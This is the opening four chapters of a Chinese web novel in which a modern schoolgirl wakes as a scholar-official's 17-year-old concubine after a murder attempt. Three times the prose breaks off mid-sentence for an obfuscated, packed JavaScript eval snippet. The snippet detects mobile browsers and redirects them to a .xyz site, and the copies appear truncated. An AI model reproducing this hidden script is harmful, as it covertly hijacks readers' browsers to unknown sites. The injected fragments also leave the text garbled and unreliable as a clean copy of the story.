《成了状元郎的小妾》 1. 第 1 章 头好痛。 寻真睁开眼,入目便是床顶繁复的花纹。 花纹如云,连绵起伏,层层叠叠,似有流动之感。天青色床帐垂挂,上面绣着缠枝花卉,花枝相互缠绕,花朵绽放其间。 风从窗户的缝隙中溜进来,床帐轻轻摇晃。 光影也在床顶变幻,如梦似幻。 这是哪? 她神志犹昏,双眸惺忪,瞳孔尚无定焦,强撑着起来。 寻真轻轻嘶了一声,忽然感觉后脑钝痛,探手过去,后脑有个肿包。寻真晃了晃,脑袋愈发昏沉起来。 头好重,好沉。 寻真撩开帷幕,坐卧榻边上,找鞋。 寻真看到一双平底绣花鞋。 一时之间,精神陡然一震,这是什么? 她房间里怎么会有这个? 不对啊……寻真往四周望了望。 这也不是她房间啊! 身下坐着的是雕花拔步床,床侧有一梳妆台,台上置铜镜,镜边摆着玉梳、翠钿、胭脂盒、香粉罐等物。 窗前有一矮塌,塌旁立着博古架,架子上陈放着古玩珍奇,有绿如意、青花瓷瓶。 墙壁上挂着几幅书画,笔墨精妙。 一幅雪竹图,一幅山水图,再远的看不清。 角落置有香炉,香烟袅袅,香氛飘散过来。 寻真闻着,神志渐趋稳定,眼皮渐沉。 很想再躺回床中,昏睡过去。 寻真使劲摇了摇头,让自己清醒过来。 房间与正厅之间有一扇屏风作为隔断。 寻真透过屏风的间隙,影影绰绰看到正厅里人的轮廓和动作。 光影交织中,有一人坐在圈椅上。 这人身着长袍,广袖垂落,发如墨瀑,散于肩背。 身姿端然,望之有出尘之态。 那人从容取过茶盏,以盏盖轻磨杯沿,姿态悠然,仿若万事皆于掌控。 再看自己身上穿的。 吊带?肚兜? 还有裤子,材质绵软,裤腿肥大,类似阔腿裤的样式。 寻真一路扶着走过去,思绪纷纭。 cosplay?密室逃脱? 不过这环境和NPC未免也太逼真了吧! 快到正厅之际,寻真耳畔传来闷棍声,夹杂着人的惨呼,幽微断续,听着气息奄奄。 若有若无的血腥之气传入鼻尖,寻真心一紧,脚步加快了些。 到了正厅,寻真眼前又一阵晕眩,忙抓住了一旁的屏风,当作支撑。 她身体什么时候这么弱了? 微微喘息,气息稍平,寻真放眼望去,正厅内,跪了一地的人。庭院中,七八人趴在凳上,正在被仗打。 所有人,都穿着古装。 他们的裤子上浮现血迹。 刚才闻到的血腥气正是来源于此。 寻真双目圆睁,心中骇异万分。 这到底是哪里? 正厅里,只有一人坐着。 是个男的。 他半边脸沐浴在晨光下,轮廓分明,棱线利落。 听到动静,他不疾不徐放下茶盏,转过头来。 他发束于顶,目若桃花,右眼下方一枚淡红泪痣,鼻若悬胆,唇色也是淡红色,仿若春桃绽放。 寻真呆了。 不是一点点帅。 美男看到她,唤了一声:“月兰”。 他身侧跪着的人抬起头来,看到眼前一幕,神色一惊。 姑娘怎么穿着肚兜亵裤就出来了,这里可不少男仆,若被他们看到了可如何是好,虽说爷叫他们跪着,也没人敢抬起头来。 月兰是个机灵的,忙起身,奔到寻真面前,小心搀扶起来,用身子挡住,细声说道:“姑娘,快快随我进去,外头风大,小心受凉。” 寻真被搀扶着躺上塌,月兰盖上薄被,又往她身后垫了个软枕:“姑娘此刻腹中可觉饥饿,奴婢去小厨房拿些滋补的药膳来?” 小丫鬟见姑娘面色满是困惑不解之色,瞧着自己的目光,竟有些陌生,好似不认识自己一般。丫鬟不禁泛起一丝怪异之感,片刻,不见姑娘有所回应,只当她默认,于是转身欲行。 “唉,等等。” 寻真被她一串文言文给弄得更懵了,见小女生停下脚步,乖顺地看着自己,她抿起笑来:“小姐姐,你们这是哪里啊?” 心想,应该是宣城新开的密室逃脱或者剧本杀? 还是实景有NPC的那种,蛮贵的吧。 不过,她怎么一点都没来的印象了。 一想还脑子痛。 再看面前这小女生,年纪看上去比自己要小多了,还没成年吧。 这家店怎么还雇用童工啊? 月兰嘴唇微张,没有吭声。 寻真便继续问道:“你们这地方还弄得挺真的,外面是在干嘛?走剧情?不过话说,我拿到的是什么人物卡啊?” “对了,我手机呢,是不是在你们那儿?能不能先还给我?” 月兰生眼睛睁得大大的,面上满是惊愕。 “还有商云呢,她在哪啊?” 一般玩剧本杀或者密室,寻真都会叫上好友商云。 月兰眸中显现凝重,一声未吭,跑出去了,因为过于着急,还被门槛绊了一下。 她跑到正厅,附耳跟那美男说了些什么。 那美男站起来了。 寻真跟美男视线对上,呼吸一滞。 美男起身,过来了。 寻真回想班上最高个的男生,相比之下,貌似这人还要高上几分,估计都要到一米九了吧。 他身姿颀长,身形挺直,徐行而来,仪态优雅从容,周身散发一种超逸出尘之气。 简直不像现实生活中的人。 寻真怔然直视,一时竟挪不开眼。 到了床前,月兰搬来一把杌凳。 美男缓执衣袂,稍一提挈,衣袍轻扬,落座。 坐姿端雅,腰身挺直,双袖自然垂落,交叠于膝前。 桃花眼静静注视着寻真。 神清骨秀,双眸幽邃。 这种级别的帅哥,她真没见过。 有些难以呼吸了。 “可有哪里不适?”他声音清润。 见人呆望着自己,不说话,他神色一凝:“手。” 月兰忙递上一个软枕,放到床沿。 美男道:“手给我。” 寻真没动,月兰上前,缓缓掀开被子,把寻真的左手拿出来,放于软枕之上。 他抬臂,挽袖,探出三指,轻搭在寻真腕间,把脉。 温热的触感落下。 寻真受惊似的,连忙将手抽出。 目中隐隐带着警惕,和迷惑,方才的痴然已消散。 谢漼看了她一会儿,吩咐丫鬟:“唤大夫来。” “是。” 月兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776123|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替寻真穿好衣服,看先前姑娘的反应,还以为姑娘会抗拒她的触碰。 没想到寻真一动不动,任她摆弄。 寻真看向月兰的目光,更加混乱了。 不多时,大夫背着药箱赶来了,到床前,这会儿月兰再度把寻真的手臂捧出来,在手腕盖上一层轻纱。 寻真没有再躲避,双目无神地望着前方。 大夫看到寻真脖子上一圈红痕,指痕犹存,心下有了猜测,深宅大院里,腌臜之事屡见不鲜,他装作没看见,神色如常问诊。 大夫切脉后,问道:“夫人腹部可有疼痛?” 腹部。 这人一说,寻真才感觉腹部的确隐有不适。 寻真依旧没有作答。 大夫朝边上望去,月兰道:“方才见姑娘举止之间,行步颇为迟缓,似有重负压身,料想应是那腹中疼痛所致,故而行动失了往日伶俐。” 大夫点头,继续道:“夫人可觉气虚乏力?有无头晕目眩之感?手脚是否常觉冰冷?” 依旧是月兰答:“姑娘生产前,时常手脚冰凉、气虚乏力。” 生产? 寻真心中狠狠一跳,目光惶惑。 想着周围人说的话,做的事。 寻真脑海中蹦出一个可怕的猜想。 月兰望了一眼边上的谢漼,而后面向大夫,欠身道:“大夫,还请移步这边说话。” 到了隔间,月兰将寻真刚才的表现大概转述,道寻真言行举止皆异于平日,观其神色,对周遭之人仿若全然不识。 再度进来,大夫脸上满是凝重之色,先向屋子里的男主人作了一揖:“在下冒昧,想请大人恩准细查夫人后脑。” 谢漼颔首。 看到爷同意了,月兰便将寻真的身子转过来,大夫上前,伸出手,触摸寻真的后脑,仔细探触,寻得两个微凸的包,一个在后脑,一个在额角。对比丫鬟所述症状,暗自思忖一番,心中大概有了定论。 面向谢漼,神色恭谨道:“大人,依在下所见,夫人所患是癔症,此症或应产后体弱,又经外物撞击引发。需先以安神之药凝神,再佐以活血化瘀之方。待后脑淤血散尽,姑娘之症或可有转机。” 大夫见谢漼点头了,转头对丫鬟说:“姑娘,烦请随我至外间,尚有几处细节需细细叮嘱。” 大夫和月兰一起离开了。 卧房内只剩谢漼和寻真两人。 谢漼坐下,看着她,缓缓唤出她的名字。 “真儿。” 寻真头皮发麻,攥紧了身下的床褥,眼神落到床帐上的花纹。 “你受苦了。”他说。 寻真对这话无感,这具身体却触动了, 双眸不由自主泛起泪花。 这,这…… 谢漼一见,便宽慰道:“你且将心放宽,如今你既已诞下麟儿,便是有了功,待过几日,挑个合适日子,过了明路,正式抬了姨娘,量也无人再敢对你有所欺侮。” “伤你之人,我都已处置。你安心调养身子,莫再多思多虑。” 他神色间一片淡然,唇色也偏淡,透着几分不易亲近的凉薄。 “其余之事,皆由我为你周全。” “有何需要可派人寻我。” 他凝视她,不免让寻真感到几分压迫。 而这具身体,似乎也是臣服于他的。 寻真启唇,因为被掐过脖,嗓音有些喑哑:“我知道了。” 2. 第 2 章 “你休息罢。”谢漼道。 丫鬟正好进来,服侍寻真躺下。 谢漼起身,去书架上取了本书,到案边坐下,垂首,翻开书籍。 寻真收回视线,仰躺,看着眼前的床罩。 渐渐感觉困乏,沉睡去前想,要是这只是一场梦就好了。 一定得是梦…… 这一觉睡得极为昏沉,悠悠转醒,寻真睁眼,还是这个地方。 到如今,寻真哪还觉得是什么剧本杀,密室逃脱! 什么倒霉运道! 见主子醒了,两个丫鬟凑上前来,手中端着洗漱器具。 雕花铜盆泛着温润光泽,盆中清水微微晃动,冒着热气。 两个丫鬟轮番服侍。 其中一个是寻真见过的,记得那人叫她“月兰”。 寻真都不用伸手,张个嘴就可以了。 一人绞干面巾,为她擦拭脸庞。一人取青盐和茶水混合,用软刷沾取,待寻真张开嘴,里里外外,仔仔细细地为她刷干净,最后递上清水漱口,用香帕轻拭嘴角。 随后,从后面又走上来几名丫鬟,将托盘端至床边,放她面前。 上面放着熬得软糯的羹汤。 丫鬟舀起喂来。 寻真这才开口:“不用,你们出去吧,我自己吃。” 丫鬟神色迟疑,眼中几分不安,望向月兰。 月兰开口:“你们下去吧。” 小丫鬟们都出去了,房里就剩一个月兰。 寻真的确有些饿了,慢慢吃起粥。 月兰立在旁边,也不吭声,像个影子。 寻真吃了一半,差不多饱了。 心想这具身体的胃口也那么小,怪不得走几步虚成那样。 “有镜子吗?” 月兰收拾好,为寻真拿来铜镜。 铜镜清晰度不太高,轮廓有些变形,色泽偏暗。不过能看到五官的大致形状。 这样子…… 跟她长得很像。 寻真想起那人叫她的那一声。 原身名字里也有个“真”吗。 镜子里,脖子上有一圈痕迹明显的掐痕。 寻真脑子清晰起来,记忆逐渐回笼。 是了,她一醒来,就发现有一个黑脸老太端了碗黑乎乎的东西要喂她,身后还有人抱住她,让她动弹不得。 她死命挣扎,从后面人手上挣脱,然后扑下床,不慎撞到脑袋。 眼前直冒星。 接着脖子被人从后面紧紧掐住,她呼吸不过来,缺氧昏了过去。 再度醒来就是刚才那副场景了。 见寻真发怔地看着镜子,手指无意识地摸着脖子的红痕。 月兰从妆奁那儿拿来一个玉质膏盒:“姑娘,这是爷特地寻来的玉琼膏,宫里的贵人都在用呢,听说药效极为神奇,不过寥寥几日,这红痕便能全然褪去。” 寻真没有答话,月兰便主动上前,为她涂抹起来。 手的动作很轻。 膏体凉丝丝的,隐隐烧灼感也下降了些许。 好像是有点用。 寻真问:“现在是哪个朝代?” 月兰眼中闪过一丝诧异,主子竟连这也忘了。 她敛了神色,恭顺答道:“乃是大周朝。” 大周朝? 西周,东周,还是……武周? 寻真望向周围的陈设,质地细腻、色彩丰富的瓷器,桌椅的榫卯工艺,还有墙上挂着的水墨画,也不是西周和东周的绘画风格。 而且造纸术是东汉时期蔡伦改进的。 那么,就是……寻真声音稍微有点激动:“当朝皇帝是武则天吗?” 月兰顾不得先赔罪,连忙放下膏药,上前将寻真的嘴捂住了,紧张地往后望,胆战惊心,生怕被人听了去。 心中暗暗想到,主子真是撞坏了脑子吧,这种问题怎好随意开口询问,脸上也不见半分敬畏。 而且,竟然连当朝哪位皇帝都不知。 连国姓都忘了! 口中却道:“姑娘,慎言!圣上之事,岂是我等私下可随意议论的,此乃大不敬之罪!” 寻真眨眨眼,指了指嘴。示意她放开。 月兰松开手,马上屈膝行礼:“姑娘,方才是奴婢冒犯了,奴婢实在担心姑娘言语有失,会引来祸端。” 寻真:“好的,我知道了,以后不提了。” 月兰刚松了口气,便听寻真压低声音说:“那皇帝姓什么,可以问吗?” 月兰又是一惊,小心翼翼望了眼后面,凑近了,用气声回禀。 “国姓乃是赵。” “姑娘可莫要再提这些犯忌讳的话,奴婢求您了。” “好。”寻真说。 难道是历史记载中某个被遗漏的小王朝,又或者是平行时空? 见主子又沉寂了,月兰立在一旁,心下有些担忧:“姑娘,您若是还有别的想知道的事儿,只要不触那忌讳,奴婢一定知无不言,言无不尽。” 寻真:“我叫什么啊?” 月兰道:“姑娘姓柳,名唤寻真二字。寻乃寻幽探胜之寻,真乃抱朴含真之真。” 名字跟她一样。 寻真想了想,还有一个很关键的问题要问:“那个谁——” 她一顿:“叫什么名字啊?” 月兰闻言一愣,随后抿唇笑了:“姑娘问的是咱们爷吧。” “呃,是吧……” 月兰道:“姑娘可是一点都想不起来了?” 寻真:“嗯。” 月兰:“爷姓谢,单名一个漼。” 寻真:“崔?” 月兰摊开手心,一笔一划在寻真眼前写下。 三点水,旁边一个崔字。 “便是这个字了。” 谢漼。 寻真无声念着这个名字,心中闪过一丝异样。 提到这人,月兰话变多了。 “咱们公子实乃文曲星下凡,自小便聪慧过人,七岁便有神童之誉……” 连绵不断的溢美之词从丫鬟口中蹦出。 眉飞色舞,满眼星星。 谢漼15岁入场科举,连中三元。 圣上阅卷时见其文章,连连惊叹。金銮殿上,谢漼应答如流,策论见解超凡,又不失文采,圣上大悦,钦点状元,赐墨宝,赞曰。 “谢卿才情与品貌兼修,有经纬之才,朕甚喜之。” 自此荣耀加身,名动京华。 历史上连中三元都没几个人,照月兰说的这么厉害,不至于籍籍无名,她大概真的是到了某个平行时空吧…… “公子之才,可不止经史子集。”月兰还在继续安利,“公子书画双绝,精通音律。医卜星象,算数韬略,无所不晓,真真是这世间难寻的全才!” 月兰注意着主子脸上的神色,没什么波动,只是略点了头附和。心下暗叹,主子可真是跟以前不一样了。 爷以前不常来院里,主子有了身子后,爷来的次数才稍稍多了些。 姑娘虽然嘴上不说,白日里偶而会望向外面,想来也是盼着爷来的。 现在却不一样了,姑娘不仅将爷忘了,提起爷,眼中竟也没了倾慕。 寻真想起刚才他给自己把脉,看来是真的懂点医术。 不过才十七岁,就会那么多,还样样精通? 月兰口中,应该有夸张的成分在吧? 寻真持保留意见。 “你们爷,几岁了?” 月兰一听,觉得怪怪的。 什么叫——你们爷? 还是乖乖答了:“方届一十有八。” 十八。 那不就跟她一样。 “那我呢?” 月兰道:“姑娘较爷年少一岁耳。” 才十七。 未成年就生孩子。 怪不得身体这么虚,都没发育好呢。 “那你呢,多大了?” 月兰没想到姑娘还会问自己的年龄,愣了愣,道:“奴婢十五了。” 还是初中生的年纪。 寻真:“那刚才那些人,都跟你差不多?” 月兰道:“奴婢年齿稍长,方才那些小丫头们,皆不过十一二岁之数。” 天哪,小学生。 寻真想到刚才被一群小学生服侍,一脸难以接受。 月兰见姑娘脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776124|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色变了,虽然不知姑娘因何而沉默,想着让主子赶快开心起来,便道:“这些小丫头都是爷亲自选的,都是可信之人,必不会再出现那日——” 月兰停下来。 那日她跟引儿都被故意遣开,若不是引儿机警,姑娘恐怕早就殒命。 那日景象委实可怖,姑娘瘫在地上,被婆子从后面掐住脖子,婆子那般狰狞恶鬼模样,月兰到现在都记得。 月兰心道,还好姑娘都忘了,现在这样,也挺好, “那日。”寻真咬牙道:“对了,想搞死我那两人呢?” 哪有人穿越那么倒霉的。 一上来就是个死局? 月兰惊道:“姑娘记起来了?” 寻真:“就记得被掐了,还有个脸黑的老太太,要喂我什么东西来着。” 月兰:“姑娘宽心,那二婆子已被爷下令拖出去杖毙了,院里那些个犯了过错的奴仆,也都一个不留,发卖了。现今这院内上下,都是爷的人,往后断不会有人再敢怠慢、欺辱姑娘!” 寻真忆起昨天那幅场景,鼻尖似乎还残留了淡淡的血腥味。 竟然是活生生打死了。 虽然是害过她的人,但还是…… 寻真心中蓦地沉重起来。 寻真在床上躺了一天,与月兰闲聊,大略知悉了大周朝的世俗风态。 大周朝文风昌盛,女性受教育的机会多,她们可以出去参与文化活动,比如一些文人雅士组织的聚会。 大周朝商业也发达,不少女性会参与商业经营,比如从事纺织、刺绣等行业,一些女子通过售卖手工艺品来补贴家用。还有胆大有主意的女子,开茶馆酒肆的,只不过市井之间,多有闲言碎语,道女子抛头露面,有失端庄。 不过在政治领域,女性就没机会掺合了。大周朝还是以男性为主导的政治格局。 整体来说,女性地位不是十分低下。 想到这里,寻真不免叹一口气。 为什么不是穿到武周啊! 努努力,还能当个官呢。 唉,算了…… 月兰见状便道:“姑娘,您在这床上歇了这许久,恐身子都要僵了,要不奴婢扶着您,在屋内走上一走?大夫也说了,稍微活动活动,对您这身子是有好处的,能让气血更顺畅些,也利于恢复呢。” 寻真:“也好。” 这身子果然虚,没几步便要喘,寻真撑着案,暂歇。月兰在不远处立着,眸光紧紧相随,随时准备过来扶她的架势,寻真便道:“你别这么紧张,我还不至于站不住。” “是。” “你去休息吧,不用一直在旁边守着,我现在挺好的。” “奴婢职责所在,守着姑娘是分内之事,还请姑娘莫要赶奴婢走。”言罢,微微屈膝。 “好吧……” 视线右移,案台右侧悬挂一幅雪竹图,寻真走进几步,细观。 画中积雪压枝,竹影摇曳,墨色浓淡相宜,层次分明。 笔法精妙,寥寥几笔,雪竹栩栩如生于纸上。 寻真虽然不懂画,好坏还是分的出的。 这种质量,可以挂博物馆了。 不由赞道:“这竹子画得好好啊,这幅画应该值不少钱吧。” 月兰闻言,抿唇浅笑:“这是爷的墨宝。” 寻真一愣,望向画的右下方,红印刻着两字,为—— 缮之。 寻真不由念出了声,转头正要问,却听一阵轻微的脚步声。 抬眸望去,门口处一人跨了进来。 正是那谢漼。 他着一身竹青长袍,身姿挺拔,神色从容,不紧不慢朝她走来。举手投足之间尽显儒雅风姿。 寻真与谢漼的视线相触一刹,心下一紧。 刚才的话,不会被他听到了吧? 身躯忽然发软,糟糕,不会真要站不住了吧! 谢漼恰好到了跟前,见寻真身形欲坠,没有犹豫,伸臂稳稳圈住了她的腰身。 寻真不由自主向后仰倒,后背全然贴于谢漼身前。 身体相贴,一缕淡雅的雪松香气萦绕在鼻尖。 寻真心间微颤,整片背都麻了。 3. 第 3 章 当谢漼把寻真打横抱起的时候。 寻真彻底麻了。 身体腾空,鼻尖满是谢漼的气息。 四肢都僵住了。 待谢漼把自己放下,寻真才松了口气。月兰忙奔上前来,伺候寻真躺下。 谢漼坐下,声音清冷:“她现今身子如此孱弱,你为贴身侍奉之人,怎可站得那般远?若有差池,该当如何?”语中隐有薄责之意。 寻真思绪稍定,抬头,看见月兰已经在床前跪下了。 月兰垂着头:“奴婢知罪,今后定当寸步不离姑娘左右,再不敢有丝毫疏忽。” 谢漼:“自去领罚罢。” 月兰:“是。” 寻真见月兰转身要走,连忙叫住:“哎,等等。” 月兰脚步一顿,回望过来,不知是去是留,见姑娘对爷说道:“是我叫她站远点的,不是她的错。” 月兰又跪下,忙不迭说:“姑娘好意,欲为奴婢开脱,然错本在奴婢,未能周全照料。奴婢自知有罪,岂敢推诿,甘愿领罚。” 寻真没有再说什么。 谢漼道:“去罢。” 月兰:“是。” 月兰走了,屋内就剩寻真和谢漼。 谢漼的视线落到她身上,如有实质,寻真垂下头。 一时间,四下静谧无声,空气滞涩,寻真莫名有些紧张。 许久,听得身侧人道:“你便是太过宽纵这一干奴仆,方使彼等竟敢轻慢于你。此后,你这院中之事,当悉心学着整饬约束。身为上位者,须记住,主仆有别、尊卑有序,切不可再似往日那般随性,失了身份,令下人们忘了自身本分。” 寻真没说话,谢漼沉声道:“可懂了?” 寻真憋屈。 莫名其妙被训一顿。 在家里,爸妈教育,寻真不服气也要呛几声的,现在穿到这劳什子大周朝,在人家地盘,只能苟着来了。 寻真弱弱地说:“懂了。” 谢漼声音放缓:“若不知该以何法管束,我自会教你。往后切不可再使院内诸事杂乱无章,失了应有的规矩与秩序。” 寻真:“……好。” 穿越也就算了,还是别人的小老婆。 寻真瞥了眼谢漼,很快低下头去。 长得再帅也不行啊! 沉默片刻,谢漼问询几句她的身体状况,嘱咐她悉心调养,若有所需,遣奴仆去告诉他。寻真诺诺应承。 之后再无话。 谢漼小坐片刻,起身离去。 谢漼走后没多久,月兰便进来了。 寻真细细打量,月兰身上没伤,等她近了,问道:“他罚你什么了?” 月兰:“只是削减了月例银钱。” 寻真:“扣你多少啊?几个月?” 月兰:“五贯变为两贯,罚一月。” 这一下子把人家的月薪砍掉了一半还多。 月兰仿佛知道她心中所想,柔声道:“爷此番处置,已经格外开恩了,奴婢心中唯怀感恩,断无半分怨尤。” 这孩子,也太实诚了。 寻真好奇问道:“那我一个月有钱可以拿吗?” 月兰:“自是有的,姑娘所得乃姨娘之份例,月钱十五贯。” 寻真有些兴趣:“那我的钱都放在哪里啊?” 月兰走至柜前,捧出一个雕饰精美的箱子,拿到寻真面前,缓缓打开。里面串串铜钱堆叠有序,还有金锭银锭,珠宝首饰……瞧着还挺富有。 寻真弯下身子,拎起一串铜钱:“这就是一贯吧?” 月兰:“正是。” 寻真又拎起两串,三串都塞进月兰怀里。 月兰脸上顿先错愕,明白主子的用意,急声说道:“万万不可,姑娘,快收回去,倘若让爷知晓——” 寻真:“此事天知地知,你知我知,你不告诉他不就行了呗。” 月兰脸上闪过一丝犹豫,嗫喏道:“可是,姑娘……” 寻真躺回去,双手交叠垫于后脑:“上有政策,下有对策嘛!而且又不是什么大不了的事,不至于扣你那么多钱。你放心,我不会告诉你的爷,只要你不说,就没人知道。” 月兰踌躇着,最终还是收下了。 将匣子放好了,月兰走到床边。 心中暗自思忖,姑娘这两日说的话,多有怪异之处。 刚才说的那句——上有政策,下有对策,初听只觉新奇,细品却觉得颇具道理。 方才谢漼离去之时,寻了月兰,嘱咐她将谢家诸事稍稍与姑娘分说,以免姑娘对家宅情形懵懂无知。 月兰开始讲谢家的诸般人事,这一大家族,人物纷纭,关系错综复杂。 嫡嫡庶庶的,寻真听得头都大了。 寻真撑着额头,打个哈欠:“反正我都惹不起就对了。” 月兰停下来:“该饮用汤药了,奴婢且去将药端来。” 寻真:“好。” 月兰方才言语之间,似乎刻意避开了谢漼不谈。 难道他的身世有什么不可说之处? 等药喝完了,月兰递来一枚蜜饯,寻真含下便问:“你们爷是哪一房的?” 月兰:“公子行五,乃是二房的四爷之子。” 寻真:“庶出?” 月兰:“公子记在四夫人名下,自是嫡出。” 原来如此。 寻真试探问道:“那他生母呢?” 月兰微微一怔,低下头:“早逝了,旁的,奴婢也不知。” 据月兰所说,这谢家在大周朝算是门第极高的世家望族,族中为官者济济。 谢漼的祖父谢公,曾宰辅朝堂二十载,历佐三朝,德高望重,为天下仕子、黎民所敬重,然如今已作古。 目前谢家梁柱是谢漼同房的二伯,谢彦成,官拜礼部尚书,位列九卿,以一己之力,撑起家族之荣耀,使谢家在这东都城内,仍保名门之盛世,声望不堕。 而谢漼其父,谢传,庸碌无为,整日宴乐嬉游,不务正业,也没个一官半职,寄身家族余荫之下,几乎是族中边缘人物。 奈何他运气好,生出个文曲星谢漼。 族中见谢漼天资,于是倾全力培养,谢漼生父没有管教之能,这责任便委托二伯谢彦成。 谢彦成待谢漼,简直比对自己的亲儿子还用心。 府中共十五个公子,皆资质平庸,才具寻常,虽然都悉心培养,无一人崭露头角。 只有谢漼,仿佛集了谢家年轻一代的灵慧于一身,才情绝世。 经史子集过目成诵,谋略兵法亦有独到见地。 府中上下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776125|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆视谢漼为家族重器。 如若其余公子始终难成大器,那么谢漼便是谢家下一代中唯一可寄予厚望的人。 寻真陷入深思。 只有生了儿子,才能抬成妾。 那原身的身份应该是很差了。 丫鬟?平民? 寻真问:“那我呢,是什么身份?” 月兰脸上突然出现几分不安,目光闪躲,垂首道:“这奴婢实是不知,奴婢前来伺候您时,未曾有人与奴婢提及您的身份之事。” 怎么看她这样子,像是知道,却又难以启齿的样子。 难道她的真实身份很见不得人? 寻真脑洞大开:“该不会是从青楼里出来的吧?” 月兰双眸骤然睁大。 寻真看她这反应:“还真是啊?!” 月兰默了默,道:“姑娘,其实奴婢也不清楚,只听过府上奴仆私下时有流言传散,不过都是捕风捉影,此中详情,恐唯有爷心中明晰。” 那应该就是了。 不是,没穿成公主、相府千金也就算了,拿的身份卡还是古代最受歧视的青楼女子。 忽然有一人步入屋内,身上着与月兰相同的丫鬟服饰,年龄也差不多,进来后,服身行礼,唤了句“姑娘”。 寻真转头看去,大惊,一把掀开被子,匆忙奔上前去,差点被自己绊倒,等到了丫鬟跟前,她握住丫鬟双肩,惊喜道:“云云,阿云!你也穿来了!你什么时候穿来的?” 丫鬟莫名,望了眼后面的月兰,还未来得及说话,寻真一连又道。 “呜呜,我们怎么那么倒霉啊!” “我好想我妈……” “想我爸做的菜,他说了要给我做一顿大餐的。” 寻真这日醒来,已经想起了穿来前的最后记忆。 寻真上的是宣城最好的高中,实验班,班里成绩中等偏上。 高考那天,全是会做的题,写卷子的时候如有神助,出成绩那天,寻真迫不及待联系好友商云。 商云考得也不错,两人当即决定大肆庆祝一番,在KTV定了一包厢,尽情欢歌畅饮。 两人还约好了,等过几天分数线出来,填完志愿。 叫上同学,一起去爬黄山。 最后,似乎是她枕着商云的肩膀,睡着了。 没想到……来了这鬼地方。 由于面前人跟商云长得一模一样,寻真心中愈发笃定,一定是彼此一同穿越到这鬼地方,她再也按捺不住,滔滔不绝倾诉自己的苦水。 “好不容易解放了,怎么莫名其妙就穿越了!” “难道我所有运气都花在高考上了?” “好气啊!” …… 寻真见“商云”神色怪异,面容上满是困惑与惊讶,仿佛完全没听懂她的话。 刚才走的太急,这才注意到“商云”脸上有伤:“云云,你脸怎么了?怎么受伤了?” 这丫鬟往旁边看去:“姑娘,这伤并无大碍……” 月兰这两日已经习惯了主子不时的奇怪言语,见状开口道:“姑娘,这是引儿,不知您口中的……商云,是何人?” 寻真心猛地一紧,目光在“商云”脸上游移一阵,垂死挣扎般看着眼前人问。 “衬衫的价格是……?” 4. 第 4 章 丫鬟当然不可能答出来。 见主子摇摇欲坠,两人赶忙合力扶着寻真去床上。 寻真陷入沉寂,仿若被愁绪的浓雾所笼罩。 两丫鬟便问是否要用些膳食,寻真埋在被子里,摇摇头,声音闷闷的:“你们出去吧,我想一个人静一下。” 引儿不太放心,一步三回头。到了隔间便问:“姑娘这是怎么了?” 月兰便将这两日的事说了。 寻真这次得以脱险,委实多亏了引儿。 那时正房那边的人,谎称是谢漼差遣,唤两丫头过去,说爷有事要吩咐。 行至半途,引儿便觉事有蹊跷,三言两句便识破其谎言。 转头欲返。 那仆人凶相毕露,强行拖住两丫鬟。 引儿拼死抵抗,全力拖住仆从,方使月兰有机会奔回营救寻真。 引儿因此遭了罪,被人扇耳朵,腹部亦遭狠踹。 故而这两日都在榻上养伤,没有现身。 翌日,谢漼修沐,未时来了西院。 方踏入房门,便敏锐察觉两丫鬟神色异样。 于床边坐下。 寻真躺在床上,脸微微侧对墙壁,双眸半睁,左眼处隐有泪痕。 寻真没察觉谢漼的到来,兀自沉浸在自己的思绪中。 一旁的月兰倒是先急了,明明昨个还好好的,跟她说了不少话,言语间透着几分开朗,不料见了引儿后就变了,闷声不吭,唯有在用膳时才肯起来。 两人瞧着姑娘这状况不对,正纠结着要不要遣人告知爷。 未料想谢漼午后竟来了。 姑娘怎还使起了小性子! 若非爷一直庇佑,以姑娘这等出身,恐早已香消玉殒。 犹记那日出事,爷听闻,当即便赶来了。雷霆手段,将院内一众仆人打的打、杀的杀,一个不留。 还将夫人禁足半年。 外头都说,爷这般人物,对这贱籍出身的女子如此上心,可真真是宠的没边了。 可如今姑娘这番模样,爷在这儿受了冷遇,他日后不再前来,那可如何是好? 小少爷都养在夫人那边呢! 月兰心里是一顿急。 而寻真呢,听见两丫鬟问好时就知道谢漼来了。 不是很想搭理。 这人怎么天天来啊! 照月兰说的,他以前也不常来,跟原身感情应该也一般。 耳边似有微风拂过,一截凉意扫过眼尾。 是谢漼的手。 修长白皙的手指,带着淡淡的雪松清香。 轻轻拭去寻真眼角尚未干涸的泪珠。 “这是怎了?” 手指还停留在脸上。 寻真身子蓦地一僵,脸往里一撇,避开谢漼的手。 旋即扯起被子,蒙住了头。 月兰看得更急了。 